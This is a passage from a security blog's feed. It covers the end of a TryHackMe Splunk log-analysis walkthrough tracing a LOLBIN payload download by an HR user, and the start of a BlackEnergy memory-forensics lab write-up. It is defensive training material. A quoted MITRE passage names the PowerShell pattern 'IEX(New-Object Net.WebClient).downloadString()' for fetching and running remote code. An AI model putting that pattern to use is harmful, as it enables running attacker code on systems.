sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/ed812ddfb0f979314a64f2633c302d82_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/ed812ddfb0f979314a64f2633c302d82_MD5_hu_6de941441ff7ae07.png 800w, https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/ed812ddfb0f979314a64f2633c302d82_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This shows us four usernames appearing in the data set, so let’s just match the visible entries against the &lt;em&gt;HR department&lt;/em&gt; list and see which user appears…&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;HR department&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Haroon&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Chris&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Diana&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;efb1f9a51951f6755ba97088c42d6e50_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/efb1f9a51951f6755ba97088c42d6e50_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-user-from-the-hr-department-executed-a-system-process-lolbin-to-download-a-payload-from-a-file-sharing-host&#34;&gt;Question 4: Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.&#xA;&lt;/h3&gt;&lt;p&gt;Okay! Now we’re going to dive deeper into our analysis and look for indicators of how the actor brought the payload/tools into the environment.&lt;/p&gt;&#xA;&lt;p&gt;The first thing to do is narrow down our search scope and only view the logging data for the &lt;em&gt;HR department&lt;/em&gt; users. Remember, we already have a list of all &lt;em&gt;HR&lt;/em&gt; users from the previous question so all we need to do is format our query to include only those users:&lt;/p&gt;&#xA;&lt;p&gt;win_event_log UserName=Daina OR UserName=&amp;ldquo;Chris.fort&amp;rdquo; OR UserName=&amp;ldquo;Haroon&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;But even with the tighter search scope, we still have too many logs to go through manually.&lt;/p&gt;&#xA;&lt;p&gt;Next, we need to drill down even further by searching for activity related to &lt;em&gt;living off the land binaries&lt;/em&gt; (&lt;em&gt;LOLBINS&lt;/em&gt;). For some background, &lt;em&gt;LOLBINS&lt;/em&gt; are legitimate &lt;em&gt;Microsoft&lt;/em&gt;-signed binaries that are native to &lt;em&gt;Windows&lt;/em&gt; which could also be abused to perform some unintended activity by an adversary.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, we don’t have to know these off the top of our heads and we can instead refer to the &lt;em&gt;living off the land binaries and scripts&lt;/em&gt; (&lt;em&gt;LOLBAS&lt;/em&gt;) repository on &lt;em&gt;GitHub!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://lolbas-project.github.io/&#34;  title=&#34;https://lolbas-project.github.io/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LOLBAS&lt;/strong&gt;&#xA;_contribute, check out ourcontribution guide. Ourcriteria list sets out what we define as a LOLBin/Script/Lib. More…_lolbas-project.github.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://lolbas-project.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the &lt;em&gt;LOLBAS&lt;/em&gt; repository is a great start, we still need to find the exact tool within the list. Let’s work a little smarter and take a look at the MITRE ATT&amp;amp;CK knowledge base and see if we can find some specific tools in &lt;em&gt;Windows&lt;/em&gt; that are used for &lt;em&gt;Ingress Tool Transfer&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK T1105&lt;/em&gt;&lt;/a&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;According to the page for this technique:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;On Windows, adversaries may use various utilities to download tools, such as &lt;code&gt;copy&lt;/code&gt;, &lt;code&gt;finger&lt;/code&gt;, &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;certutil&lt;/a&gt;, and &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1059/001&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PowerShell&lt;/a&gt; commands such as &lt;code&gt;IEX(New-Object Net.WebClient).downloadString()&lt;/code&gt; and &lt;code&gt;Invoke-WebRequest&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now if we cross-reference these utilities with the &lt;em&gt;LOLBAS&lt;/em&gt; repository, we will find a couple of utilities to search for!&lt;/p&gt;&#xA;&lt;p&gt;So, putting all of this together, we are going to use &lt;em&gt;Splunk&lt;/em&gt; to search the &lt;em&gt;win_event_log&lt;/em&gt; index containing known &lt;em&gt;HR users&lt;/em&gt;, where the captured process command line (4688) matches one of the &lt;em&gt;LOLBAS&lt;/em&gt; download methods that we validated with &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;win_event_log UserName=Daina OR UserName=&amp;ldquo;Chris.fort&amp;rdquo; OR UserName=&amp;ldquo;Haroon&amp;rdquo;&#xA;| search CommandLine=&amp;quot;&lt;em&gt;NAME OF LOLBIN&lt;/em&gt;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;And there we go — we found a hit in the logs! Look at the &lt;em&gt;UserName&lt;/em&gt; field, this is the answer to &lt;strong&gt;Question 4.&lt;/strong&gt; Keep this search result open as we are going to use it to answer the next few questions too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;585e59b8b1efa92120ad2d1da4f68a70_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;292px&#34; data-flex-grow=&#34;122&#34; height=&#34;590&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/585e59b8b1efa92120ad2d1da4f68a70_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;69ad6831fdc7c25a472deaaf365a38b0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/69ad6831fdc7c25a472deaaf365a38b0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-to-bypass-the-security-controls-which-system-process-lolbin-was-used-to-download-a-payload-from-the-internet&#34;&gt;Question 5: To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, we already found the answer since the &lt;em&gt;lolbin&lt;/em&gt; name was how we discovered the answer to &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;979ed7cf4016534fb40294f2f684fb84_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/979ed7cf4016534fb40294f2f684fb84_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-was-the-date-that-this-binary-was-executed-by-the-infected-host-format-yyyy-mm-dd&#34;&gt;Question 6: What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)&#xA;&lt;/h3&gt;&lt;p&gt;From the same event that we found in &lt;strong&gt;Question 4&lt;/strong&gt;, enter the &lt;em&gt;date&lt;/em&gt; from the &lt;em&gt;Time&lt;/em&gt; column or the &lt;em&gt;EventTime&lt;/em&gt; field from the event log — they are the same.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3402c684e92983141ac74d4b1123f26f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/3402c684e92983141ac74d4b1123f26f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;848c13b0d4b55dc79bd30db13d872c35_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/848c13b0d4b55dc79bd30db13d872c35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-which-third-party-site-was-accessed-to-download-the-malicious-payload&#34;&gt;Question 7: Which third-party site was accessed to download the malicious payload?&#xA;&lt;/h3&gt;&lt;p&gt;In the &lt;em&gt;CommandLine&lt;/em&gt; field, there is a visible &lt;em&gt;URL&lt;/em&gt; in the command. The &lt;em&gt;domain name&lt;/em&gt; is what we are looking for to answer &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5538752271e5dc478daa4e6426d8e664_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;403px&#34; data-flex-grow=&#34;168&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/5538752271e5dc478daa4e6426d8e664_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d7e880c1d5dd7f86efe326517dfe7326_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/d7e880c1d5dd7f86efe326517dfe7326_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-name-of-the-file-that-was-saved-on-the-host-machine-from-the-c2-server-during-the-post-exploitation-phase&#34;&gt;Question 8: What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?&#xA;&lt;/h3&gt;&lt;p&gt;The file path the end of the C2 &lt;em&gt;URL&lt;/em&gt; from the previous question points to an &lt;em&gt;executable (.exe)&lt;/em&gt; file that is downloaded on the victim’s system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ca8497a7f1e794b33f89db754820e4b7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/ca8497a7f1e794b33f89db754820e4b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f3a357ef92a36be11148a55c34eab172_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/f3a357ef92a36be11148a55c34eab172_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-the-suspicious-file-downloaded-from-the-c2-server-contained-malicious-content-with-the-pattern-thm-what-is-thatpattern&#34;&gt;Question 9: The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have analyzed the suspicious event within &lt;em&gt;Splunk,&lt;/em&gt; we need to start looking at the malicious content, but how do we do that? Well, the wording of this question is a bit confusing but since we do not have access to the suspicious binary within our ingested data, we’re going to pivot and gather some intelligence on the &lt;em&gt;C2&lt;/em&gt; &lt;em&gt;URL&lt;/em&gt; instead.&lt;/p&gt;&#xA;&lt;p&gt;Let’s start out by checking the &lt;em&gt;C2 URL&lt;/em&gt; against &lt;em&gt;VirusTotal&lt;/em&gt; to see if we can gather any information about it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/url/ec89f7db79c0760ecd6676a32feb5b0362526cbd491302ff3ad7bb0b640d21ce/details&#34;  title=&#34;https://www.virustotal.com/gui/url/ec89f7db79c0760ecd6676a32feb5b0362526cbd491302ff3ad7bb0b640d21ce/details&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/url/ec89f7db79c0760ecd6676a32feb5b0362526cbd491302ff3ad7bb0b640d21ce/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the detection looks clean, let’s navigate to the &lt;em&gt;Details&lt;/em&gt; tab to get some extra information. Navigate to the &lt;em&gt;HTML Info&lt;/em&gt; section and check out the &lt;em&gt;Meta Tags —&lt;/em&gt; notice anything interesting?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2bb4e146e09d4ea224dca881587c56b3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;343px&#34; data-flex-grow=&#34;143&#34; height=&#34;503&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/2bb4e146e09d4ea224dca881587c56b3_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is that a flag we see?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e1c8582f264d1ef090b13c541592e94a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/e1c8582f264d1ef090b13c541592e94a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-what-is-the-url-that-the-infected-host-connected-to&#34;&gt;Question 10: What is the URL that the infected host connected to?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we’ve reached the last question, and it’s a straightforward one. The &lt;em&gt;URL&lt;/em&gt; that the infected host connected to is the same one we used to answer &lt;strong&gt;Question 9.&lt;/strong&gt; Simply copy, paste, and submit the final flag!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9dcf1484e0873f789170cc9ab8297fa2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/9dcf1484e0873f789170cc9ab8297fa2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4d808bab59132288a819496c96ccbcf3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/4d808bab59132288a819496c96ccbcf3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for another awesome hands-on challenge! By leveraging &lt;em&gt;Splunk&lt;/em&gt;, we’ve successfully identified the affected &lt;em&gt;HR user&lt;/em&gt; and uncovered how a &lt;em&gt;Living off the Land&lt;/em&gt; (LOLBIN) binary was abused to bypass security controls and download the malicious payload. Our investigation revealed that the payload was hosted on a suspicious &lt;em&gt;URL&lt;/em&gt;, which we traced back to a compromised website with some interesting metadata.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/benign&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Benign&lt;/strong&gt;&lt;/a&gt; room is a great opportunity to go hands-on with &lt;em&gt;Splunk,&lt;/em&gt; exercise your research skills, and get familiar with the &lt;em&gt;LOLBAS&lt;/em&gt; repository. As a defender, understanding how legitimate binaries are abused can help enrich your investigations and uncover the whole attack story. Personally, I find every opportunity to practice log analysis in a logging or &lt;em&gt;SIEM&lt;/em&gt; platform helpful to keep my skills sharp and get the repetitions in with the tool. With the analysis of the logs completed, let’s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;Remember, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Splunk (Stats):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.splunk.com/Documentation/Splunk/9.3.1/SearchReference/Stats&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.splunk.com/Documentation/Splunk/9.3.1/SearchReference/Stats&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (schtasks.exe):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Ingress Tool Transfer — T1105:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1105/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Certutil):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/url/ec89f7db79c0760ecd6676a32feb5b0362526cbd491302ff3ad7bb0b640d21ce/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/url/ec89f7db79c0760ecd6676a32feb5b0362526cbd491302ff3ad7bb0b640d21ce/details&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders — BlackEnergy Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/</link>
            <pubDate>Sun, 22 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/43d5088d6cbaa992c7e8268eb8c3aa1c_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders — BlackEnergy Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders-blackenergy-lab-walkthrough&#34;&gt;CyberDefenders— BlackEnergy Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-forensic-investigation-with-volatility-2&#34;&gt;Endpoint Forensic Investigation with Volatility 2&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;403px&#34; data-flex-grow=&#34;167&#34; height=&#34;237&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/43d5088d6cbaa992c7e8268eb8c3aa1c_MD5.png&#34; width=&#34;398&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Imagine this: an organization has suffered a cyber attack, and you&amp;rsquo;ve been handed a memory dump from an infected machine to investigate the incident. If this sounds like a thriller you want to be part of, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough! This week, we&amp;rsquo;ll tackle the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;BlackEnergy Lab&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Using the &lt;em&gt;Volatility&lt;/em&gt; framework, we&amp;rsquo;ll dissect a memory dump of a device infected with a new variant of the &lt;em&gt;BlackEnergy&lt;/em&gt; malware. We&amp;rsquo;re going to search for suspicious processes, hunt evidence of process injection, and uncover malicious &lt;em&gt;DLLs&lt;/em&gt; to assess the scope and impact of this malware. Sounds like fun, right? Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&lt;p&gt;In the spirit of learning, I won&amp;rsquo;t be revealing any flags in this write-up, but I hope that this guide sets you on the right track — you got this! If you find this walkthrough is helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A multinational corporation has been hit by a cyber attack that has led to the theft of sensitive data. The attack was carried out using a variant of the BlackEnergy v2 malware that has never been seen before. The company&amp;rsquo;s security team has acquired a memory dump of the infected machine, and they want you, as a soc analyst, to analyze the dump to understand the attack scope and impact.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It&amp;rsquo;s always important when working with lab/challenge files from &lt;em&gt;CyberDefenders (or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I&amp;rsquo;m going to skip the step-by-step setup of &lt;em&gt;REMnux&lt;/em&gt;. If you&amp;rsquo;d like to set up your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. For reference, I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-which-volatility-profile-would-be-best-for-thismachine&#34;&gt;Question 1: Which volatility profile would be best for this machine?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s start out by extracting the challenge file with the password included on the challenge page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1627px&#34; data-flex-grow=&#34;677&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-blackenergy-lab-walkthrough/07fd197f369b8c2b54dbd3617e5a9d53_MD5.png&#34; 